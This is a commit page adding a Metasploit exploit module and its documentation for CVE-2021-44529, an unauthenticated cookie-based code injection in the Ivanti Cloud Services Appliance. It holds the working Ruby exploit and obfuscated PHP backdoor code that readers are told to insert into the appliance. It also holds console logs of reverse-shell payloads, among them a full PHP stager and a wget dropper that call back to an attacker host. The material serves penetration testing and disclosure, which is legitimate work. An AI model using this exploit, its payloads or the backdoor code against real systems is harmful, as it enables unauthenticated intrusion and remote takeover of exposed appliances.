Land #17449, Ivanti Cloud Services Appliance unauthenticated cookie-based command injection [CVE-2021-44529]

This commit is contained in:
Grant Willcox 2023-01-17 13:08:12 -06:00
commit 3b1380b164
No known key found for this signature in database
GPG Key ID: D35E05C0F2B81E83
2 changed files with 378 additions and 0 deletions

View File

@ -0,0 +1,192 @@
## Vulnerable Application
Ivanti Cloud Services Appliance for Ivanti Endpoint Manager is a appliance that is
designed to manage endpoints (Desktops). It also know under the name LANDESK. The
appliance can be either a physical or a virtual appliance and it runs a web based application
where the HTTP web interface is typically exposed to the public internet.
A code injection vulnerability in the Ivanti EPM Cloud Services Appliance (CSA) before
version `4.6.0-512` allows an unauthenticated user to execute arbitrary code with limited
permissions by sending a specially crafted cookie to the client endpoint at `/client/index.php`.
Successful exploitation results in command execution as user `nobody`. The logic of how
the cookie is retrieved and executed is explained in more detail at
https://attackerkb.com/assessments/d200fb32-b92f-4f69-8ae1-f6e253cf00c2 and shows how a
encoded PHP snippet is used to determine which cookie to pass to an `eval()` statement
that will execute arbitrary commands from the attacker as the `nobody` user.
Installing a vulnerable test bed requires an Ivanti EPM Cloud Services Appliance (CSA),
either physical or virtual with the vulnerable software installed.
This module has been tested against a virtual Ivanti EPM Cloud Services Appliance (CSA)
with the specifications listed below:
* Ivanti EPM Cloud Services Appliance (CSA)
* Version: `4.6.0-20211203.1950`
* Remark: Manually added vulnerable code in `/opt/landesk/broker/webroot/lib/csrf-magic.php`
## Verification Steps
### Installation
Below are the steps to install and setup a vulnerable Ivanti EPM Cloud Services virtual Appliance (CSA).
* Download the CSA 4.6 virtual appliance
[ISO](https://download.ivanti.com/product/CSA/46/ldcsa-scsi-csrffix.iso) and follow the
instructions [on the
form](https://forums.ivanti.com/s/article/How-to-Create-CSA-VM-from-ISO?language=en_US).
* Once the application has been set up, log in with the username `admin` and password
`admin`.
* Follow the prompt to change the admin password.
* Login into the appliance again with username `admin` and the password you set.
* Add a second network interface on the VM at your hypervisor. This will allow you to run
and test the appliance without activation.
* Follow the instructions on the screen to finalize the setup.
* Start the appliance again and login with `admin` user and navigate to the security tab
listed on the left side of the screen.
* Under `Trusted Services`, click the checkmarks next to `Secure Shell access` to enable
SSH access.
* Login to the system via SSH with the user `admin` and the password that you set.
* Open `/opt/landesk/broker/webroot/lib/csrf-magic.php` as the `root` user using `sudo`.
* Just before `// Load user configuration` section in this file, add the following code
which will reintroduce the vulnerable code that was removed as part of the patch.
For more details on this, please read article [attackerkb CVE-2021-4459](https://attackerkb.com/topics/XTKrwlZd7p/cve-2021-44529).
```
// Obscure Tokens
$aeym="RlKHfsByZWdfcmVwfsbGFjZShhcnJheSgnLfs1teXHc9fsXHNdLyfscsJy9fsccy8nfsKSwgYXJyfsYXkoJycsfsJysn";
$lviw = str_replace("m","","msmtmr_mrmemplmamcme");
$bbhj="JGMofsJGEpPjMpefsyRrPSdjMTIzJzfstlfsY2hvICc8Jy4kay4nPic7ZXfsZfshbChiYXNlNjRfZGVjb2";
$hpbk="fsJGfsM9fsJ2NvdW50fsJzfsskYfsT0kXfs0NPT0tJRTtpZihyfsZfsXNldfsCgfskYfsSkfs9fsPSdhYicgJiYg";
$rvom="KSwgam9pbihhcnfsJheV9zbGljZSgkYSwkYyfsgkYSktMyfskpfsKSkpOfs2VjaG8gJzwvJy4fskay4nPic7fQ==";
$xytu = $lviw("oc", "", "ocbocaocseoc6oc4_ocdoceoccocoocdoce");
$murp = $lviw("k","","kckrkeaktkek_kfkunkcktkikokn");
$zmto = $murp('', $xytu($lviw("fs", "", $hpbk.$bbhj.$aeym.$rvom))); $zmto();
```
* Open up WireShark and then click `System` on the tabs on the left side of the screen.
* Under `Network Settings`, click the `Save` button, then check WireShark for DNS requests to
`centos` related endpoints. You should see a few that are from the CSA target.
* Save and run the Metasploit module below against the CSA target IP.
1. `use exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529`
1. `set RHOSTS <CSA target IP>`
1. `set RPORT <port>`
1. `set LHOST <attacker host ip>`
1. `set LPORT <attacker host port>`
1. `set TARGET <0-Unix command, 1-PHP command or 2-Linux dropper>`
1. `exploit`
1. You should get a `bash` shell, `python` shell or `meterpreter` session depending on the target and payload settings.
## Options
No additional options.
## Scenarios
### Ivanti Cloud Services Appliance RCE using payload cmd/unix/python/meterpreter/reverse_tcp
```
msf6 > use exploit/linux/http/ivanti_csa_unauth_rce_cve_2021_44529
[*] Using configured payload cmd/unix/python/meterpreter/reverse_http
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set target 0
target => 0
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set payload cmd/unix/python/meterpreter/reverse_tcp
payload => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set rhosts 192.168.100.41
rhosts => 192.168.100.41
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lport 4444
lport => 4444
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > exploit
[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.41:443 can be exploited.
[+] The target is vulnerable. Version: 4.6.0-20211203.1950
.
[*] Executing Unix Command with echo exec\(__import__\(\'zlib\'\).decompress\(__import__\(\'base64\'\).b64decode\(__import__\(\'codecs\'\).getencoder\(\'utf-8\'\)\(\'eNo9UE1LxDAQPTe/IrckGEO71K4uVhDxICKCuzeRpU1GDU3TkGS1Kv53G7I4hxnezJs3H3p0k484THKAyL+N7nnfBWhqHqI/yMijHgG9Th7PWFvsO/sGtCrZBhXRfy2+CG1uFjnQFT/i7ePN/X67e7q9fmCJJ+RkLchIKakuVqJqzkVVlmJNeL0YS5zeQzegAmYJLibxNF0EA+DoGUOmzUuJg3WdHCi5uiM8CA/ygy4Cz+ULUu0RG4Y+37UBbMBSxS7NIqdO/qunOc0QzCBpulsokNPoPIRA8wtE39QpqSAx+Q8JZBN+GfoDHtFfMQ\=\=\'\)\[0\]\)\)\) | exec $(which python || which python3 || which python2) -
[*] Sending stage (24380 bytes) to 192.168.100.41
[*] Meterpreter session 1 opened (192.168.100.7:4444 -> 192.168.100.41:59430) at 2023-01-08 16:43:38 +0000
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Linux 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020
Architecture : x64
Meterpreter : python/linux
meterpreter > getuid
Server username: nobody
meterpreter >
```
### Ivanti Cloud Services Appliance RCE using payload php/meterpreter/reverse_tcp
```
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set target 1
target => 1
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set rhosts 192.168.100.41
rhosts => 192.168.100.41
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lport 4444
lport => 4444
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > exploit
[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.41:443 can be exploited.
[+] The target is vulnerable. Version: 4.6.0-20211203.1950
.
[*] Executing PHP Command with /*<?php /**/ error_reporting(0); $ip = '192.168.100.7'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
[*] Sending stage (39927 bytes) to 192.168.100.41
[*] Meterpreter session 2 opened (192.168.100.7:4444 -> 192.168.100.41:59432) at 2023-01-08 16:47:23 +0000
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: nobody
meterpreter >
```
### Ivanti Cloud Services Appliance RCE using payload linux/x64/meterpreter/reverse_tcp
```
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set target 2
target => 2
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set rhosts 192.168.100.41
rhosts => 192.168.100.41
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set lport 4444
lport => 4444
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > set srvport 1080
srvport => 1080
msf6 exploit(linux/http/ivanti_csa_unauth_rce_cve_2021_44529) > exploit
[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.41:443 can be exploited.
[+] The target is vulnerable. Version: 4.6.0-20211203.1950
.
[*] Executing Linux Dropper
[*] Using URL: http://192.168.100.7:1080/oBGKBxPUe3Uos
[*] Client 192.168.100.41 (Wget/1.14 (linux-gnu)) requested /oBGKBxPUe3Uos
[*] Sending payload to 192.168.100.41 (Wget/1.14 (linux-gnu))
[*] Sending stage (3045348 bytes) to 192.168.100.41
[*] Command Stager progress - 100.00% done (119/119 bytes)
[*] Meterpreter session 3 opened (192.168.100.7:4444 -> 192.168.100.41:59436) at 2023-01-08 16:52:10 +0000
[*] Server stopped.
meterpreter > sysinfo
Computer : localhost.localdomain
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: nobody
meterpreter >
```
## Limitations
Due to the port restrictions of a hardened CSA appliance typically only port `80` and `443` are open for inbound and outbound traffic.
Also avoid using stageless payloads because they may exceed the maximum Cookie header size that will cause the payload delivery to fail.

View File

@ -0,0 +1,186 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ivanti Cloud Services Appliance (CSA) Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in the Ivanti Cloud Services Appliance (CSA)
for Ivanti Endpoint Manager. A cookie based code injection vulnerability in the
Cloud Services Appliance before `4.6.0-512` allows an unauthenticated user to
execute arbitrary code with limited permissions. Successful exploitation results
in command execution as the `nobody` user.
},
'License' => MSF_LICENSE,
'Author' => [
'Jakub Kramarz', # Discovery
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # MSF Module contributor
],
'References' => [
['CVE', '2021-44529'],
['URL', 'https://forums.ivanti.com/s/article/SA-2021-12-02'],
['URL', 'https://attackerkb.com/topics/XTKrwlZd7p/cve-2021-44529'],
['EDB', '50833'],
['PACKETSTORM', '166383']
],
'DisclosureDate' => '2021-12-02',
'Platform' => ['unix', 'linux', 'php'],
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_PHP],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_http'
}
}
],
[
'PHP Command',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['wget', 'printf', 'echo'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter_reverse_http'
}
}
]
],
'Payload' => {
'BadChars' => '"' # We use this to denote the payload as a string so having it in the payload would escape things.
},
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
end
# Randomize the cookie pairs for the request.
def randomize_cookie(payload)
# Number of cookie pairs should be at least 4, and the first cookie pair should
# always have the value 'ab'. Note that the Nth cookie in the request, where
# N=no_of_cookies-2, should contain the payload.
#
# example 1: Cookie: sG34st=ab;g3sBdnn=<PAYLOAD>;h4hYyeEe=;j7sJJjjs=;
# example 2: Cookie: dvDfR6F=ab;bxvGE=;Fs=<PAYLOAD>;uEn44Nkk=;nnXk=;
no_of_cookies = rand(4..8)
cookie_name = Rex::Text.rand_text_alphanumeric(1..8)
payload_cookie_number = (no_of_cookies - 2)
random_cookie = "#{cookie_name}=ab;"
for cookie_no in 2..no_of_cookies do
cookie_name = Rex::Text.rand_text_alphanumeric(1..8)
if cookie_no == payload_cookie_number
random_cookie << "#{cookie_name}=#{payload};"
else
random_cookie << "#{cookie_name}=;"
end
end
return random_cookie
end
def check_vuln
# check RCE by grabbing CSA version banner stored on /etc/LDBUILD
payload = Base64.strict_encode64('readfile("/etc/LDBUILD");')
cookie_payload = randomize_cookie(payload)
return send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'client', 'index.php'),
'cookie' => cookie_payload.to_s
})
rescue StandardError => e
elog("#{peer} - Communication error occurred: #{e.message}", error: e)
return nil
end
def execute_command(cmd, _opts = {})
case target['Type']
when :unix_cmd
payload = Base64.strict_encode64("system(\"#{cmd}\");")
when :php_cmd
payload = Base64.strict_encode64(cmd.to_s)
when :linux_dropper
payload = Base64.strict_encode64("system(\"#{cmd}\");")
end
cookie_payload = randomize_cookie(payload)
return send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'client', 'index.php'),
'cookie' => cookie_payload.to_s
})
rescue StandardError => e
elog("#{peer} - Communication error occurred: #{e.message}", error: e)
fail_with(Failure::Unknown, "Communication error occurred: #{e.message}")
end
def check
print_status("Checking if #{peer} can be exploited.")
res = check_vuln
return CheckCode::Unknown('No response received from the target.') unless res
return CheckCode::Safe unless res.code == 200 && !res.body.blank? && res.body =~ /<c123>/
begin
parsed_html = Nokogiri::HTML.parse(res.body)
rescue Nokogiri::SyntaxError => e
return CheckCode::Unknown("Unable to parse the HTTP response! Error: #{e}")
end
csa_version = parsed_html.at_css('c123')
if csa_version&.text&.blank?
CheckCode::Vulnerable('Could not retrieve version.')
else
CheckCode::Vulnerable("Version: #{csa_version.text}")
end
end
def exploit
case target['Type']
when :unix_cmd
print_status("Executing #{target.name} with #{payload.encoded}")
execute_command(payload.encoded)
when :php_cmd
print_status("Executing #{target.name} with #{payload.encoded}")
execute_command(payload.encoded)
when :linux_dropper
print_status("Executing #{target.name}")
execute_cmdstager(linemax: 262144)
end
end
end